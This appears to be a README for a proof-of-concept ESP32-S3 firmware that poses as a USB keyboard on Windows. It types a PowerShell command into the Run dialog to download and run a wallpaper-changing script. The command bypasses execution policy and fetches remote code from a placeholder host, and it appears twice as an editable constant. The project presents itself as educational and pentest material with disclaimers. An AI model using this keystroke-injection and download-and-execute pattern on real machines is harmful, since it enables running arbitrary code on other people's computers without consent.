T-Dongle S3 Desktop Modifier
Overview
T-Dongle-S3_Desktop_Modifier is a proof-of-concept firmware project for the LilyGo T-Dongle-S3 (ESP32-S3) that emulates a USB HID keyboard and launches a PowerShell command on Windows to download and run a wallpaper-changing script. The repository includes the firmware source, PowerShell payloads, and guidance for controlled testing in isolated environments.
This project is intended for educational security research and authorized penetration testing only. Do not use it on machines you do not own or without explicit permission.
Legal Disclaimer
WARNING: This project is for educational and research purposes only.
- Do not use this on computers you do not own or without the explicit permission of the owner
- Unauthorized use may violate computer crime laws
- Test only in isolated environments, such as VMs, sandboxes, or lab machines
- Inspect the PowerShell payload before executing it
Features
- USB HID keyboard emulation on ESP32-S3
- Automatic execution of PowerShell commands
- Download and execution of a remote wallpaper script
- Windows desktop wallpaper modification
- Modular and easily customizable code
Hardware Requirements
- LilyGo T-Dongle-S3 development board based on ESP32-S3
- USB Type-C cable for flashing and power
- Windows 10 or 11 computer for testing
- Isolated test environment, preferably a VM
Software Requirements
- PlatformIO, either as a VS Code extension or via CLI
- USB drivers for the LilyGo T-Dongle-S3
- Python 3.x for PlatformIO builds
- Git to clone the repository
Repository Structure
1
2
3
4
5
6
7
8
9
T-Dongle-S3_Desktop_Modifier/
├── src/
│ └── main.cpp # ESP32-S3 firmware (HID keyboard emulator)
├── scripts/
│ └── Set-Wallpaper.ps1 # Wallpaper change payload
│ └── ...
├── platformio.ini # PlatformIO configuration
├── README.md # Project documentation
└── LICENSE # MIT License
How It Works
Execution Flow
- The T-Dongle-S3 is powered on and connected via USB.
- The device is recognized as a USB keyboard.
- The firmware sends Win+R to open the Windows Run dialog.
- It sends a PowerShell command through virtual keystrokes.
- PowerShell downloads
Set-Wallpaper.ps1from the configured location. - The downloaded script runs and changes the wallpaper.
Technical Details
- Firmware source:
src/main.cpp - The PowerShell command is defined in the
COMMANDconstant - All PowerShell scripts are located in the
scripts/folder - You must customize the download target before using the device
Quick Start
1. Clone the Repository
1
2
git clone https://github.com/Gory-git/T-Dongle-S3_Desktop_Modifier.git
cd T-Dongle-S3_Desktop_Modifier
2. Install PlatformIO
Via VS Code, install the PlatformIO IDE extension and restart VS Code. Alternatively, install the CLI with:
1
pip install platformio
3. Modify the Payload
Open src/main.cpp and update the COMMAND constant so it points to your test script:
1
const char* COMMAND = "powershell -ExecutionPolicy Bypass -Command \"$f=\\\"$env:TEMP\\Set-Wallpaper.ps1\\\"; iwr 'https://your-domain.com/your-test-script.ps1' -o $f; & $f\"";
For initial testing, point the command to a local or otherwise controlled script.
4. Build the Firmware
1
pio run
5. Upload the Firmware
1
pio run -t upload
6. Test in an Isolated Environment
- Use a Windows VM with snapshots enabled
- Disconnect the network or use an isolated VLAN
- Connect the T-Dongle-S3
- Observe the behavior
Customization
Change the PowerShell Command
Update src/main.cpp to point to your own test script:
1
const char* COMMAND = "powershell -ExecutionPolicy Bypass -Command \"$f=\\\"$env:TEMP\\Set-Wallpaper.ps1\\\"; iwr 'https://your-server.com/your-script.ps1' -o $f; & $f\"";
Host Scripts Locally
For offline or local testing, start a simple web server and point COMMAND to it:
1
python -m http.server 8000
Then use a local URL in src/main.cpp.
Add Delays
If needed for slower systems, add extra delay between key events:
1
delay(100);
Security and Best Practices
How to Test Safely
- Use a Windows VM with a snapshot before testing.
- Isolate the network, or use a local firewall or VLAN.
- Review the PowerShell script before executing it.
- Keep Windows Defender and event logging enabled during testing.
What Not To Do
- Do not use it on other people’s computers without explicit permission
- Do not distribute the firmware for harmful use
- Do not use it for intrusion or malicious activity
- Do not test it on production networks
Troubleshooting
| Problem | Solution |
|---|---|
| Firmware will not upload | Check USB drivers and try PlatformIO CLI |
| Keyboard is not recognized | Reboot the host and verify USB configuration in platformio.ini |
| PowerShell script does not run | Ensure the configured URL is reachable and execution policy allows it |
| Compilation errors | Make sure PlatformIO board packages for ESP32-S3 are installed |